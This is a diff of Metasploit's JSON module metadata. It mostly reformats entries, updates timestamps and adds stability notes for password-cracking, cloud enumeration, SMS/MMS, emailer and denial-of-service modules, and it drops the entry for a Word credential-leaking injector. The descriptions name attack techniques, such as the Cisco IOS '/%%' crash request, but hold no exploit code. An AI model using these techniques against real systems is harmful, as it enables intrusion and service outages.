[ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-18 18:12:12 +0000", + "mod_time": "2025-05-07 21:38:27 +0000", "path": "/modules/auxiliary/analyze/crack_databases.rb", "is_install_path": true, "ref_name": "analyze/crack_databases", @@ -12246,6 +12385,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12275,20 +12419,14 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from unshadowed passwd files from Unix/Linux systems. The module will only crack\n MD5, BSDi and DES implementations by default. However, it can also crack\n Blowfish and SHA(256/512), but it is much slower.\n MD5 is format 500 in hashcat.\n DES is format 1500 in hashcat.\n BSDI is format 12400 in hashcat.\n BLOWFISH is format 3200 in hashcat.\n SHA256 is format 7400 in hashcat.\n SHA512 is format 1800 in hashcat.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-18 18:12:12 +0000", + "mod_time": "2025-05-07 21:38:27 +0000", "path": "/modules/auxiliary/analyze/crack_linux.rb", "is_install_path": true, "ref_name": "analyze/crack_linux", @@ -12296,6 +12434,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12313,9 +12456,7 @@ "auxiliary_analyze/crack_mobile": { "name": "Password Cracker: Mobile", "fullname": "auxiliary/analyze/crack_mobile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12323,20 +12464,14 @@ "h00die" ], "description": "This module uses Hashcat to identify weak passwords that have been\n acquired from Android systems. These utilize MD5 or SHA1 hashing.\n Android (Samsung) SHA1 is format 5800 in Hashcat. Android\n (non-Samsung) SHA1 is format 110 in Hashcat. Android MD5 is format 10.\n JTR does not support Android hashes at the time of writing.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-18 13:09:45 +0000", + "mod_time": "2025-05-07 21:38:27 +0000", "path": "/modules/auxiliary/analyze/crack_mobile.rb", "is_install_path": true, "ref_name": "analyze/crack_mobile", @@ -12344,6 +12479,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12357,9 +12497,7 @@ "auxiliary_analyze/crack_osx": { "name": "Password Cracker: OSX", "fullname": "auxiliary/analyze/crack_osx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12367,20 +12505,14 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from OSX systems. The module will only crack xsha from OSX 10.4-10.6, xsha512\n from 10.7, and PBKDF2 from OSX 10.8+.\n XSHA is 122 in hashcat.\n XSHA512 is 1722 in hashcat.\n PBKDF2 (PBKDF2-HMAC-SHA512) is 7100 in hashcat.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-18 18:12:12 +0000", + "mod_time": "2025-05-07 21:38:27 +0000", "path": "/modules/auxiliary/analyze/crack_osx.rb", "is_install_path": true, "ref_name": "analyze/crack_osx", @@ -12388,6 +12520,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12405,9 +12542,7 @@ "auxiliary_analyze/crack_webapps": { "name": "Password Cracker: Webapps", "fullname": "auxiliary/analyze/crack_webapps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12415,20 +12550,14 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from various web applications.\n Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat.\n PHPass uses phpass which is 400 in hashcat.\n Mediawiki is MD5 based and is 3711 in hashcat.\n Apache Superset, some Flask and Werkzeug apps is pbkdf2-sha256 and is 10900 in hashcat", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-18 18:12:12 +0000", + "mod_time": "2025-05-07 21:38:27 +0000", "path": "/modules/auxiliary/analyze/crack_webapps.rb", "is_install_path": true, "ref_name": "analyze/crack_webapps", @@ -12436,6 +12565,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12465,20 +12599,14 @@ "h00die" ], "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from Windows systems.\n LANMAN is format 3000 in hashcat.\n NTLM is format 1000 in hashcat.\n MSCASH is format 1100 in hashcat.\n MSCASH2 is format 2100 in hashcat.\n NetNTLM is format 5500 in hashcat.\n NetNTLMv2 is format 5600 in hashcat.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-18 18:12:12 +0000", + "mod_time": "2025-05-07 21:38:27 +0000", "path": "/modules/auxiliary/analyze/crack_windows.rb", "is_install_path": true, "ref_name": "analyze/crack_windows", @@ -12486,6 +12614,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12503,9 +12636,7 @@ "auxiliary_analyze/modbus_zip": { "name": "Extract zip from Modbus communication", "fullname": "auxiliary/analyze/modbus_zip", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12513,21 +12644,15 @@ "José Diogo Monteiro ", "Luis Rosa " ], - "description": "This module is able to extract a zip file sent through Modbus from a pcap.\n Tested with Schneider TM221CE16R", - "references": [ - - ], + "description": "This module is able to extract a zip file sent through Modbus from a pcap.\n Tested with Schneider TM221CE16R.", + "references": [], "platform": "", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2019-06-18 14:08:47 +0000", + "mod_time": "2025-05-07 21:38:27 +0000", "path": "/modules/auxiliary/analyze/modbus_zip.rb", "is_install_path": true, "ref_name": "analyze/modbus_zip", @@ -12535,19 +12660,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_bnat/bnat_router": { "name": "BNAT Router", "fullname": "auxiliary/bnat/bnat_router", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12563,34 +12689,25 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-04 12:09:08 +0000", "path": "/modules/auxiliary/bnat/bnat_router.rb", "is_install_path": true, "ref_name": "bnat/bnat_router", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_bnat/bnat_scan": { "name": "BNAT Scanner", "fullname": "auxiliary/bnat/bnat_scan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12606,34 +12723,25 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2019-03-05 03:38:51 +0000", + "mod_time": "2025-05-04 12:09:08 +0000", "path": "/modules/auxiliary/bnat/bnat_scan.rb", "is_install_path": true, "ref_name": "bnat/bnat_scan", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_client/hwbridge/connect": { "name": "Hardware Bridge Session Connector", "fullname": "auxiliary/client/hwbridge/connect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12642,7 +12750,7 @@ ], "description": "The Hardware Bridge (HWBridge) is a standardized method for\n Metasploit to interact with Hardware Devices. This extends\n the normal exploit capabilities to the non-ethernet realm and\n enables direct hardware and alternative bus manipulations. You\n must have compatible bridging hardware attached to this machine or\n reachable on your network to use any HWBridge exploits.\n\n Use this exploit module to connect the physical HWBridge which\n will start an interactive hwbridge session. You can launch a hwbridge\n server locally by using compliant hardware and executing the local_hwbridge\n module. After that module has started, pass the HWBRIDGE_BASE_URL\n options to this connector module.", "references": [ - "URL-http://opengarages.org/hwbridge" + "URL-https://web.archive.org/web/20170206145056/http://opengarages.org/hwbridge/" ], "platform": "", "arch": "", @@ -12663,7 +12771,7 @@ "https" ], "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-05-04 23:26:52 +0000", "path": "/modules/auxiliary/client/hwbridge/connect.rb", "is_install_path": true, "ref_name": "client/hwbridge/connect", @@ -12671,19 +12779,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_client/iec104/iec104": { "name": "IEC104 Client Utility", "fullname": "auxiliary/client/iec104/iec104", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12691,20 +12800,14 @@ "Michael John " ], "description": "This module allows sending 104 commands.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 2404, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-04 23:26:52 +0000", "path": "/modules/auxiliary/client/iec104/iec104.rb", "is_install_path": true, "ref_name": "client/iec104/iec104", @@ -12712,6 +12815,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -12725,30 +12833,22 @@ "auxiliary_client/mms/send_mms": { "name": "MMS Client", "fullname": "auxiliary/client/mms/send_mms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "sinn3r " ], - "description": "This module sends an MMS message to multiple phones of the same carrier.\n You can use it to send a malicious attachment to phones.", - "references": [ - - ], + "description": "This module sends an MMS message to multiple phones of the same carrier.\n You can use it to send a malicious attachment to phones.", + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-04 23:26:52 +0000", "path": "/modules/auxiliary/client/mms/send_mms.rb", "is_install_path": true, "ref_name": "client/mms/send_mms", @@ -12756,40 +12856,35 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_client/sms/send_text": { "name": "SMS Client", "fullname": "auxiliary/client/sms/send_text", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "sinn3r " ], - "description": "This module sends a text message to multiple phones of the same carrier.\n You can use it to send a malicious link to phones.\n\n Please note that you do not use this module to send a media file (attachment).\n In order to send a media file, please use auxiliary/client/mms/send_mms instead.", - "references": [ - - ], + "description": "This module sends a text message to multiple phones of the same carrier.\n You can use it to send a malicious link to phones.\n\n Please note that you do not use this module to send a media file (attachment).\n In order to send a media file, please use auxiliary/client/mms/send_mms instead.", + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-04 23:26:52 +0000", "path": "/modules/auxiliary/client/sms/send_text.rb", "is_install_path": true, "ref_name": "client/sms/send_text", @@ -12797,26 +12892,27 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_client/smtp/emailer": { "name": "Generic Emailer (SMTP)", "fullname": "auxiliary/client/smtp/emailer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "et " ], - "description": "This module can be used to automate email delivery.\n This code is based on Joshua Abraham's email script for social\n engineering.", + "description": "This module can be used to automate email delivery.\n This code is based on Joshua Abraham's email script for social\n engineering.", "references": [ "URL-http://spl0it.org/" ], @@ -12836,7 +12932,7 @@ "smtps" ], "targets": null, - "mod_time": "2022-03-10 18:03:35 +0000", + "mod_time": "2025-05-04 23:26:52 +0000", "path": "/modules/auxiliary/client/smtp/emailer.rb", "is_install_path": true, "ref_name": "client/smtp/emailer", @@ -12844,19 +12940,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_client/telegram/send_message": { "name": "Telegram Message Client", "fullname": "auxiliary/client/telegram/send_message", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12865,18 +12962,12 @@ "Gaurav Purswani" ], "description": "This module can be used to send a document and/or message to\n multiple chats on telegram. Please refer to the module\n documentation for info on how to retrieve the bot token and corresponding chat\n ID values.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:04:17 +0000", "path": "/modules/auxiliary/client/telegram/send_message.rb", @@ -12885,20 +12976,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_cloud/aws/enum_ec2": { "name": "Amazon Web Services EC2 instance enumeration", "fullname": "auxiliary/cloud/aws/enum_ec2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -12907,20 +12993,14 @@ "RageLtMan " ], "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all EC2 instances associated\n with the account", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-06-26 16:57:08 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/auxiliary/cloud/aws/enum_ec2.rb", "is_install_path": true, "ref_name": "cloud/aws/enum_ec2", @@ -12934,43 +13014,31 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_cloud/aws/enum_iam": { "name": "Amazon Web Services IAM credential enumeration", "fullname": "auxiliary/cloud/aws/enum_iam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "Aaron Soto " ], - "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all IAM credentials associated\n with the account", - "references": [ - - ], + "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all IAM credentials associated\n with the account", + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2021-05-27 15:15:31 +0000", + "mod_time": "2025-05-06 22:49:03 +0000", "path": "/modules/auxiliary/cloud/aws/enum_iam.rb", "is_install_path": true, "ref_name": "cloud/aws/enum_iam", @@ -12978,40 +13046,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_cloud/aws/enum_s3": { "name": "Amazon Web Services S3 instance enumeration", "fullname": "auxiliary/cloud/aws/enum_s3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "Aaron Soto " ], - "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all S3 buckets associated\n with the account", - "references": [ - - ], + "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all S3 buckets associated\n with the account", + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2021-05-27 15:15:31 +0000", + "mod_time": "2025-05-06 22:49:03 +0000", "path": "/modules/auxiliary/cloud/aws/enum_s3.rb", "is_install_path": true, "ref_name": "cloud/aws/enum_s3", @@ -13019,19 +13084,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_cloud/aws/enum_ssm": { "name": "Amazon Web Services EC2 SSM enumeration", "fullname": "auxiliary/cloud/aws/enum_ssm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -13045,14 +13113,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-06-03 11:02:15 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/auxiliary/cloud/aws/enum_ssm.rb", "is_install_path": true, "ref_name": "cloud/aws/enum_ssm", @@ -13063,25 +13127,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "crash-safe" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_cloud/kubernetes/enum_kubernetes": { "name": "Kubernetes Enumeration", "fullname": "auxiliary/cloud/kubernetes/enum_kubernetes", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -13090,9 +13148,7 @@ "Spencer McIntyre" ], "description": "Enumerate a Kubernetes API to report useful resources such as available namespaces,\n pods, secrets, etc.\n\n Useful resources will be highlighted using the HIGHLIGHT_NAME_PATTERN option.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "", "rport": null, @@ -13123,9 +13179,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "crash-safe" ] @@ -13176,9 +13230,7 @@ "auxiliary_crawler/msfcrawler": { "name": "Metasploit Web Crawler", "fullname": "auxiliary/crawler/msfcrawler", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -13186,20 +13238,14 @@ "et " ], "description": "This auxiliary module is a modular web crawler, to be used in conjunction with wmap (someday) or standalone.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-05-23 12:23:27 +0000", + "mod_time": "2025-05-21 10:38:34 +0000", "path": "/modules/auxiliary/crawler/msfcrawler.rb", "is_install_path": true, "ref_name": "crawler/msfcrawler", @@ -13207,60 +13253,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] - }, - "auxiliary_docx/word_unc_injector": { - "name": "Microsoft Word UNC Path Injector", - "fullname": "auxiliary/docx/word_unc_injector", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "auxiliary", - "author": [ - "SphaZ " - ], - "description": "This module modifies a .docx file that will, upon opening, submit stored\n netNTLM credentials to a remote host. It can also create an empty docx file. If\n emailed the receiver needs to put the document in editing mode before the remote\n server will be contacted. Preview and read-only mode do not work. Verified to work\n with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the\n auxiliary/server/capture/smb module can be used.", - "references": [ - "URL-https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534" - ], - "platform": "", - "arch": "", - "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], - "targets": null, - "mod_time": "2022-03-10 18:03:35 +0000", - "path": "/modules/auxiliary/docx/word_unc_injector.rb", - "is_install_path": true, - "ref_name": "docx/word_unc_injector", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/android/android_stock_browser_iframe": { "name": "Android Stock Browser Iframe DOS", "fullname": "auxiliary/dos/android/android_stock_browser_iframe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-12-01", "type": "auxiliary", @@ -13276,14 +13284,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/android/android_stock_browser_iframe.rb", "is_install_path": true, "ref_name": "dos/android/android_stock_browser_iframe", @@ -13291,6 +13295,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -13304,9 +13313,7 @@ "auxiliary_dos/apple_ios/webkit_backdrop_filter_blur": { "name": "iOS Safari Denial of Service with CSS", "fullname": "auxiliary/dos/apple_ios/webkit_backdrop_filter_blur", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-09-15", "type": "auxiliary", @@ -13316,20 +13323,16 @@ "description": "This module exploits a vulnerability in WebKit on Apple iOS.\n If successful, the device will restart after viewing the webpage.", "references": [ "URL-https://twitter.com/pwnsdx/status/1040944750973595649", - "URL-https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea", + "URL-http://web.archive.org/web/20220706175501/https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea", "URL-https://nbulischeck.github.io/apple-safari-crash" ], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb", "is_install_path": true, "ref_name": "dos/apple_ios/webkit_backdrop_filter_blur", @@ -13337,19 +13340,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-restarts" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/cisco/cisco_7937g_dos": { "name": "Cisco 7937G Denial-of-Service Attack", "fullname": "auxiliary/dos/cisco/cisco_7937g_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-02", "type": "auxiliary", @@ -13364,12 +13368,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-08-21 13:13:33 +0000", "path": "/modules/auxiliary/dos/cisco/cisco_7937g_dos.py", @@ -13378,20 +13378,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/cisco/cisco_7937g_dos_reboot": { "name": "Cisco 7937G Denial-of-Service Reboot Attack", "fullname": "auxiliary/dos/cisco/cisco_7937g_dos_reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-02", "type": "auxiliary", @@ -13406,12 +13401,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-08-21 09:01:45 +0000", "path": "/modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py", @@ -13420,27 +13411,22 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/cisco/ios_http_percentpercent": { "name": "Cisco IOS HTTP GET /%% Request Denial of Service", "fullname": "auxiliary/dos/cisco/ios_http_percentpercent", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2000-04-26", "type": "auxiliary", "author": [ "aushack " ], - "description": "This module triggers a Denial of Service condition in the Cisco IOS\n HTTP server. By sending a GET request for \"/%%\", the device becomes\n unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module\n tested successfully against a Cisco 1600 Router IOS v11.2(18)P.", + "description": "This module triggers a Denial of Service condition in the Cisco IOS\n HTTP server. By sending a GET request for \"/%%\", the device becomes\n unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module\n tested successfully against a Cisco 1600 Router IOS v11.2(18)P.", "references": [ "BID-1154", "CVE-2000-0380", @@ -13449,14 +13435,10 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb", "is_install_path": true, "ref_name": "dos/cisco/ios_http_percentpercent", @@ -13464,26 +13446,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/cisco/ios_telnet_rocem": { "name": "Cisco IOS Telnet Denial of Service", "fullname": "auxiliary/dos/cisco/ios_telnet_rocem", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-17", "type": "auxiliary", "author": [ "Artem Kondratenko" ], - "description": "This module triggers a Denial of Service condition in the Cisco IOS\n telnet service affecting multiple Cisco switches. Tested against Cisco\n Catalyst 2960 and 3750.", + "description": "This module triggers a Denial of Service condition in the Cisco IOS\n telnet service affecting multiple Cisco switches. Tested against Cisco\n Catalyst 2960 and 3750.", "references": [ "BID-96960", "CVE-2017-3881", @@ -13493,14 +13476,10 @@ "platform": "", "arch": "", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb", "is_install_path": true, "ref_name": "dos/cisco/ios_telnet_rocem", @@ -13508,19 +13487,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/dhcp/isc_dhcpd_clientid": { "name": "ISC DHCP Zero Length ClientID Denial of Service Module", "fullname": "auxiliary/dos/dhcp/isc_dhcpd_clientid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -13537,14 +13517,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2019-03-05 03:38:51 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb", "is_install_path": true, "ref_name": "dos/dhcp/isc_dhcpd_clientid", @@ -13552,19 +13528,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/dns/bind_tkey": { "name": "BIND TKEY Query Denial of Service", "fullname": 